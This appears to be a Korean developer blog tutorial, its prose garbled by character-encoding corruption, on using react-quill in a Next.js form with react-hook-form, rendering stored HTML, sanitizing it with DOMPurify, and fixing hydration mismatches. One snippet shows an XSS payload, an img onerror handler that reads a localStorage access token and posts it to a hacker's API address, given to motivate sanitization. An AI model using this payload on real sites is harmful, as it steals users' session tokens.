textarea ํ๊ทธ๋ฅผ ์ฌ์ฉํ๋ฉด ๋ด์ฉ์ ์ ๋ ฅํ ๋ ์ค ๋ฐ๊ฟํ ๊ฒ ๋ธ๋ผ์ฐ์ ์์๋ ํ ์ค๋ก ๋์จ๋ค. ๋ํ, ์์ฑ์๊ฐ ๋ณผ๋, ๊ธฐ์ธ์, ์์ ์ถ๊ฐ ๋ฑ์ ์คํ์ผ ์ง์ ์ ํ๊ณ ์ถ์ ์๋ ์๋ค.
์ด๋ฌํ ์ ์ ์ถฉ์กฑ์์ผ์ค ์ ์๋ ๊ฒ์ด ์น ์๋ํฐ
๋ค!
์ฐพ์๋ณด๋ฉด React quill, React Draft Wysiwyg, TOAST UI Editor ๋ฑ ์น ์๋ํฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ๋ง์ด ์๋ค. ๊ทธ ์ค ์ฌ์ฉ์๊ฐ ๋ ๋ง์ npm์์ react-quill์ ์ฌ์ฉํด๋ณด์๋ค.
yarn add react-quill
์น ์๋ํฐ๋ฅผ ์ถ๊ฐํ ํ์ด์ง ์๋จ์ ReactQuill์ ํธ์ถํ๊ณ , ReactQuill์์ ์ฌ์ฉ๋ ์คํ์ผ CSS ํ์ผ๋ ํธ์ถํด์ค๋ค.
import ReactQuill from 'react-quill'; import 'react-quill/dist/quill.snow.css';
return ( <form onSubmit={wrapFormAsync(onClickSubmit)}> ์์ฑ์: <input type="text" /> <br /> ๋น๋ฐ๋ฒํธ: <input type="password" /> <br /> ์ ๋ชฉ: <input type="text" /> <br /> ๋ด์ฉ: <ReactQuill onChange={onChangeContents} /> {/* html์์์ onChange์ ๋ค๋ฅด๋ค! */} <button>๋ฑ๋กํ๊ธฐ</button> </form> ); }
์์์ react quill์ ์ ์ฉํ ์ํ๋ก ๋ธ๋ผ์ฐ์ ์ ์ ์ํด๋ณด๋ฉด document is not defined
๋ผ๋ ์๋ฌ๊ฐ ๋ฐ์ํ๋ค. next.js๋ฅผ ์ฌ์ฉํ๊ณ ์๋ค๋ฉด ์ด์ ๊ฐ์ ์๋ฌ๋ ์ ์์ ์ธ ์๋ฌ๋ค.
next.js๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์๋ฒ์ฌ์ด๋ ๋ ๋๋ง์ ์ง์ํ๋๋ฐ, ์๋ฒ์์ ํ์ด์ง๋ฅผ ๋ฏธ๋ฆฌ ๋ ๋๋งํ๋ ๋จ๊ณ์์๋ ๋ธ๋ผ์ฐ์ ์์ด ์๋๊ธฐ ๋๋ฌธ์ window๋ document๊ฐ ์กด์ฌํ์ง ์๋๋ค. window ๋๋ document object๋ฅผ ์ ์ธํ๊ธฐ ์ ์ด์ฌ์ document๊ฐ ์ ์๋์ง ์์๋ค๊ณ ์๋ฌ๊ฐ ๋จ๋ ๊ฒ์ด๋ค.
dynamic import
๋ฅผ ์ฌ์ฉํ๋ฉด, ํด๋น ๋ชจ๋์ document ์ ์ธ ์ดํ์ import๋๋๋ก ํ ์ ์๋ค.
// import ReactQuill from 'react-quill';
import dynamic from "next/dynamic";
const ReactQuill = dynamic(async () => await import("react-quill"), {
ssr: false,
});
dynamic import
๋ ssr ์ด์ ํด๊ฒฐ ๋ฟ ์๋๋ผ ์ฑ๋ฅ์ต์ ํ์๋ ๊ธฐ์ฌํ๋ค. ์ฒ์ ํ์ด์ง์ ์ ์ํ ๋ ๊ผญ ๋ค์ด๋ฐ์์ผ ํ๋ ๋ถ๋ถ์ด ์๋๋ผ๋ฉด dynamic import๋ฅผ ์ฌ์ฉํด์ ํ์ํ ์์ ์ ๋ค์ด ๋ฐ์ ์ฌ ์ ์๋๋ก ํ๋ฉด ์ด๊ธฐ ๋ก๋ฉ์๋๊ฐ ๋นจ๋ผ์ง๋ค!
์ด๋ ๊ฒ ํ์ํ ์์ ์ import ํด์ฌ ์ ์๋๋ก ๋์์ฃผ๋ ๊ฒ์ code-splitting
์ด๋ผ๊ณ ํ๋ค.
์์์ ๋ง๋ค์๋ ์ฝ๋๋ฅผ ์ฌ์ฉํ์ฌ useForm
์ import ํด์ฃผ์๋ค.
import { useForm } from "react-hook-form";
import "react-quill/dist/quill.snow.css";
import dynamic from "next/dynamic";
const ReactQuill = dynamic(() => import("react-quill"), { ssr: false });
export default function WebEditorPage() {
const { register } = useForm({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
};
return (
<div>
์์ฑ์: <input type="text" {...register("writer")} />
<br />
๋น๋ฐ๋ฒํธ: <input type="password" {...register("password")} />
<br />
์ ๋ชฉ: <input type="text" {...register("title")} />
<br />
๋ด์ฉ: <ReactQuill onChange={handleChange} />
<br />
<button>๋ฑ๋กํ๊ธฐ</button>
</div>
);
}
์ฌ๊ธฐ์ ๋ด์ฉ์ ํด๋นํ๋ ReactQuill ์ปดํฌ๋ํธ์๋ register๊ฐ ์ ์ฉ๋์ง ์๋๋ค. ์ด๋ป๊ฒ ํ๋ฉด useForm์ด contents์ ์ ๋ ฅ๋ ๋ฐ์ดํฐ๊น์ง ์ธ์ํ๋๋ก ํ ์ ์์๊น?
const { register, setValue} = useForm({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register๋ก ๋ฑ๋กํ์ง ์๊ณ , ๊ฐ์ ๋ก ๊ฐ์ ๋ฃ์ด์ฃผ๋ ๊ธฐ๋ฅ
setValue("contents", value);
};
๋ ๋ค๋ฅธ ๋ฌธ์ ๋, contents์ ๊ฐ์ ์ ๋ ฅํ๋ค๊ฐ ์ง์ฐ๋ฉด, br ํ๊ทธ๊ฐ ๋จ๋๋ค๋ ๊ฒ์ด๋ค.
๋ค์์ "์๋ "์ ์ ๋ ฅํ๋ค๊ฐ ์ง์ด ๊ณผ์ ์ด๋ค.
์ด ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด์๋, ์ผํญ์ฐ์ฐ์๋ฅผ ์ฌ์ฉํด์ ๋น๊ฐ์ผ๋ก ์ฒ๋ฆฌ๋๋๋ก ํด์ฃผ๋ฉด ๋๋ค.
const handleChange = (value: string) => {
console.log(value);
setValue("contents", value === "<p><br></p>" ? "" : value);
};
ํ์ง๋ง ๊ฐ์ด ๋ณ๊ฒฝ๋์์ ๋ฟ, contents์ ์
๋ ฅ ์ฌ๋ถ๋ ๊ฒ์ฆํ ์ ์๋ค. ์ด๋ด ๋์๋ trigger
๋ฅผ ์ฌ์ฉํด์ onChange ์ฌ๋ถ๋ฅผ ๊ฐ์ ๋ก ๋ณ๊ฒฝํด์ฃผ๋ฉด ๋๋ค.
const { register, setValue, trigger } = useForm({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
setValue("contents", value === "<p><br></p>" ? "" : value);
// onChange๊ฐ ๋๋์ง ์๋๋์ง react-hook-form์ ์๋ ค์ฃผ๋ ๊ธฐ๋ฅ
trigger("contents");
};
์ด์ JSX ๋ถ๋ถ์์ form
์ผ๋ก ํ๊ทธ๋ค์ ๊ฐ์ธ๊ณ , onSubmit
์์๋ฅผ ๋ํด์ค๋ค.
return (
<form onSubmit={}>
์์ฑ์: <input type="text" {...register("writer")} />
<br />
๋น๋ฐ๋ฒํธ: <input type="password" {...register("password")} />
<br />
์ ๋ชฉ: <input type="text" {...register("title")} />
<br />
๋ด์ฉ: <ReactQuill onChange={handleChange} />
<br />
<button>๋ฑ๋กํ๊ธฐ</button>
</form>
);
๊ทธ ํ์ handleSubmit
์ ์ด์ฉํด์ ๋ฒํผ ํด๋ฆญ์ ์คํํ ํจ์๋ฅผ onSubmit์ ๋ฃ๋๋ค.
// ์์ ํ ๋ถ๋ถ
const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
mode: "onChange",
});
const onClickSubmit = (data: IFormValues) => {
// form submit์ ์คํํ ํจ์
};
return (
<form onSubmit={handleSubmit(onClickSubmit)}>
์์ฑ์: <input type="text" {...register("writer")} />
<br />
๋น๋ฐ๋ฒํธ: <input type="password" {...register("password")} />
<br />
์ ๋ชฉ: <input type="text" {...register("title")} />
<br />
๋ด์ฉ: <ReactQuill onChange={handleChange} />
<br />
<button>๋ฑ๋กํ๊ธฐ</button>
</form>
);
์ด์ onClickSubmit ํจ์ ์์ createBoard
api ์์ฒญ ์ฝ๋๋ฅผ ๋ฃ๊ณ , ์์ฒญ ์ฑ๊ณต ์ ํด๋น ๊ฒ์๊ธ์ ์์ธ ํ์ด์ง๋ก ์ด๋ํ๋๋ก ๋ค์ด๋๋ฏน ๋ผ์ฐํ
์ ํด์ฃผ๋ฉด ๋๋ค.
ํ์ง๋ง ๋ ๋ค์ ๋ฐ์ํ๋ ์๋ฌ..
์์ธํ์ด์ง๋ก ์ด๋ํ์ ๋, reactquill ๋ถ๋ถ์ ๋ฐ์ดํฐ์ HTML ํ๊ทธ๊ฐ ํฌํจ๋์ด ๋ธ๋ผ์ฐ์ ์ ๋ํ๋๋ค. ์ฐ๋ฆฌ๋ HTML ํ๊ทธ๋ฅผ ๋ ธ์ถํ์ง ์์ผ๋ฉด์ HTML ๊ธฐ๋ฅ๋ง ์ ์ฉ๋ ํํ๋ก ํ๋ฉด์ ์ถ๋ ฅํด์ผ ํ๋ค.
ํ์ง๋ง react์์๋ HTML ๋ณด์ ์ด์๋ก ์ธํด HTML ํ๊ทธ๋ฅผ ์ง์ ์ฝ์ ํ ์ ์๊ฒ ์ค์ ํด๋์๋ค.
<div dangerouslySetInnerHTML={{ __html : HTML ํ๊ทธ ์ถ๊ฐ }} />
dangerouslySetInnerHTML
์ div ๋๋ span ํ๊ทธ์ ์ ๊ณต๋๋ ์์ฑ์ด๋ค. ๋ฐ๋ผ์ ์ด๋ฅผ ์ ์ฉํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
return ( <div> <div>์์ฑ์: {data?.fetchBoard.writer}</div> <div>์ ๋ชฉ: {data?.fetchBoard.title}</div> // dangerouslySetInnerHTML: self-closing tag๋ก ์์ฑ <div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} /> </div> );
์ง๊ธ๊น์ง ๊ฒ์๊ธ ๋ฑ๋กํ๊ธฐ์ ์น ์๋ํฐ๋ฅผ ์ ์ฉํด๋ณด์๋๋ฐ, ๊ทธ ๊ณผ์ ์์ xss ๊ณต๊ฒฉ์ด ๋ฐ์ํ ์ ์๋ค.
XSS๋ Cross Site Script์ ์ฝ์๋ก, ๋ค๋ฅธ ์ฌ์ดํธ์ ์ทจ์ฝ์ ์ ๋ ธ๋ ค์ Javascript์ HTML๋ก ์ ์์ ์ธ ์ฝ๋๋ฅผ ์น ๋ธ๋ผ์ฐ์ ์ ์ฌ๊ณ ์ฌ์ฉ์ ์ ์ ์ ์ ์ฑ ์ฝ๋๊ฐ ์คํ๋๋๋ก ํ๋ ๊ฒ์ด๋ค.
ํ ์๋ก, ์ด๋ฏธ์ง ํ๊ทธ์ ์ ์์ ์ด์ง ์์ ๊ฐ์ ๋ฃ๊ณ , onerror ์์ฑ์ ๋ํด์ ํด๋น ํ๊ทธ๋ฅผ dangerouslySetInnerHTML ์์ฑ์ ํตํด ๋ถ๋ฌ์์ ๋ ์ฌ์ฉ์์ ์ ๋ณด๋ฅผ ๋นผ๋ด๋ script๊ฐ ์คํ๋๋๋ก ํ ์ ์๋ค.
<img src="#" onerror=" const aaa = localStorage.getItem('accessToken'); axios.post(ํด์ปคAPI์ฃผ์, {accessToken = aaa}); " />
์์ ๊ฐ์ด ์ ์ด์ฃผ๋ฉด, localStorage ๋ด์ ์ฌ์ฉ์์ accessToken์ ์์๋ผ ์ ์๋ค.
์ด๋ฌํ ๊ณต๊ฒฉ๋ค์ ๋ฐฉ์ดํ๊ธฐ ์ํด์๋ ๊ณต๊ฒฉ ์ฝ๋๋ฅผ ์๋์ผ๋ก ์ฐจ๋จํด์ฃผ๋ DOMPurify
๋ผ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํด์ฃผ๋ฉด ์ข๋ค.
yarn add dompurify
yarn add -D @types/dompurify
์๊น dangerouslySetInnerHTML ์์ฑ์ ๋ถ์ฌํ ๊ณณ์ Dompurify
๋ฅผ ์ ์ฉํ๋ฉด ๋๋ค.
<div dangerouslySetInnerHTML={{ __html: Dompurify.sanitize(String(data?.fetchBoard.contents)) }} />
์๋ง ์ ๋ ๊ฒ ์ ์ผ๋ฉด ์๋ฒ์ฌ์ด๋ ๋ ๋๋ง ์๋ฌ๊ฐ ๋ฐ์ํ ๊ฒ์ด๋ค. ์๋ฌ ํด๊ฒฐ์ ์ํด์๋ ์กฐ๊ฑด๋ถ ๋ ๋๋ง์ ์ถ๊ฐํด์ฃผ๋ฉด ๋๋ค.
{process.browser && <div dangerouslySetInnerHTML={{ __html: Dompurify.sanitize(String(data?.fetchBoard.contents)) }} /> }
XSS์ฒ๋ผ ์น์๋ ์ฌ๋ฌ ์ข
๋ฅ์ ๊ณต๊ฒฉ๋ค์ด ์๋ค. OWASP
๋ Open Web Application Security Project์ ์ฝ์๋ก ์์ฃผ ๋ฐ์ํ๋ ๊ณต๊ฒฉ๋ค์ 3-4๋
์ ํ๋ฒ์ฉ ์
๋ฐ์ดํธํด์ฃผ๋ ์ฌ์ดํธ๋ค.
์ต๊ทผ 2021๋ ์ ์ ๋ฐ์ดํธ ๋์๊ณ , ๋ฆฌ์คํธ๋ ๋ค์๊ณผ ๊ฐ๋ค.
A01 : Broken Access Control (์ ๊ทผ ๊ถํ ์ทจ์ฝ์ )
A02 : Cryptographic Failures (์ํธํ ์ค๋ฅ)
A03: Injection (์ธ์ ์ )
A04: Insecure Design (์์ ํ์ง ์์ ์ค๊ณ)
A05: Security Misconfiguration (๋ณด์์ค์ ์ค๋ฅ)
A06: Vulnerable and Outdated Components (์ทจ์ฝํ๊ณ ์ค๋๋ ์์)
A07: Identification and Authentication Failures (์๋ณ ๋ฐ ์ธ์ฆ ์ค๋ฅ)
A08: Software and Data Integrity Failures(์ํํธ์จ์ด ๋ฐ ๋ฐ์ดํฐ ๋ฌด๊ฒฐ์ฑ ์ค๋ฅ)
A09: Security Logging and Monitoring Failures (๋ณด์ ๋ก๊น ๋ฐ ๋ชจ๋ํฐ๋ง ์คํจ)
A10: Server-Side Request Forgery (์๋ฒ ์ธก ์์ฒญ ์์กฐ)
return (
<div>
<div style={{color: "red"}}>์์ฑ์: {data?.fetchBoard.writer}</div>
{process.browser && (
<div style={{color: "green"}}>์ ๋ชฉ: {data?.fetchBoard.title}</div>
)}
<div style={{color: "blue"}}>๋ด์ฉ: ๋ฐ๊ฐ์ต๋๋ค!<div>
</div>
)
์์ ์ฝ๋๊ฐ ๋ ๋๋ง๋ ํ๋ฉด์ ๋ณด๋ฉด ์ ๋ชฉ ๋ถ๋ถ์ ์๊น์ด ๋ด์ฉ๊ณผ ๊ฐ์ด ํ๋์์ธ ๊ฒ์ ํ์ธํ ์ ์๋ค. ๋ฐ๋ก Hydration Issue ๋๋ฌธ์ CSS๊ฐ ์ ์ฉ๋์ง ์์ ๊ฒ์ด๋ค. ์ ๊ทธ๋ฐ ๊ฑธ๊น?
React ์๋ฒ๋ ๋ค์๊ณผ ๊ฐ์ด ๋ ๋๋ง์ ํ๋ค.
๋ฐ๋ฉด, Next ์๋ฒ๋ ์๋์ ๊ฐ์ ๊ณผ์ ์ ํตํด ํ์ด์ง๋ฅผ ๊ทธ๋ฆฐ๋ค.
๋ณด๋ค ์์ธํ ๊ณผ์ ์ ์๋์ ๊ฐ๋ค.
Next.js๋ React์ฒ๋ผ SPA๋ค. ๋ค๋ง, ๋ฆฌ์กํธ์ ๋ค๋ฅด๊ฒ ๋ชจ๋ ํ์ด์ง์์ ๊ณตํต์ผ๋ก ์ฌ์ฉํ๋ ๊ฒ๋ค์ ๋ฏธ๋ฆฌ ํ๋ฒ์ ๋ฐ์์จ๋ค. ๋ฐ๋ผ์ Next.js๋ ๋ธ๋ผ์ฐ์ ์ ๋ณด์ฌ์ง๊ธฐ๊น์ง ๊ฑธ๋ฆฌ๋ ์๊ฐ(TTV)์ด ๋น ๋ฅด๋ค.
diffing ๋จ๊ณ์์ ํ๊ทธ๋ฅผ ๊ธฐ์ค์ผ๋ก ๋น๊ตํ๊ธฐ ๋๋ฌธ์ ํ๋ก ํธ์๋ ์๋ฒ์์ ํ๋ฆฌ๋ ๋๋ง๋ ๊ฒฐ๊ณผ๋ฌผ๊ณผ ๋ธ๋ผ์ฐ์ ์์ ๊ทธ๋ ค์ง ๊ฒฐ๊ณผ๋ฌผ์ ํ๊ทธ ๊ตฌ์กฐ๊ฐ ๋ค๋ฅด๋ฉด CSS๊ฐ ์ฝ๋์ ๋ค๋ฅด๊ฒ ์ ์ฉ๋๋ค.
return (
<div>
<div style={{color: "red"}}>์์ฑ์: {data?.fetchBoard.writer}</div>
{process.browser ? (
<div style={{color: "green"}}>์ ๋ชฉ: {data?.fetchBoard.title}</div>
) : (
<div style={{color: "green"}} />
)}
<div style={{color: "blue"}}>๋ด์ฉ: ๋ฐ๊ฐ์ต๋๋ค!<div>
</div>
)